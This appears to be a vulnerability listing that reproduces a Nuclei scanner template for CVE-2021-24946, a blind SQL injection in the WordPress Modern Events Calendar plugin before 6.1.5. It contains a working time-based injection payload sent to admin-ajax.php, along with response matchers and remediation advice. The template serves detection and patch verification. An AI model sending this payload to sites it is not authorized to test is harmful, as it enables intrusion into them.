CVE-2021-24946: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection

2025-08-01 WordPress Modern Events Calendar PoC Public

Description

WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2021-24946

info:
  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
    - https://wordpress.org/plugins/modern-events-calendar-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
    - http://packetstormsecurity.com/files/165742/WordPress-Modern-Events-Calendar-6.1-SQL-Injection.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24946
    cwe-id: CWE-89
    epss-score: 0.728
    epss-percentile: 0.9942
    cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webnus
    product: modern_events_calendar_lite
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,sqli,packetstorm,wp,wp-plugin,unauth,wpscan,modern-events-calendar-lite,wordpress,webnus,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
        condition: and
# digest: 4a0a00473045022100cf437c70f1e6afa81ad518ddec3f8ba37f3d2c9896736ef7acaa1b57143d94c202203841898649a20efdf33aaaafb2b2cec11f9d4787ded3f2f6d2398b342965df40:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24946.yaml

References

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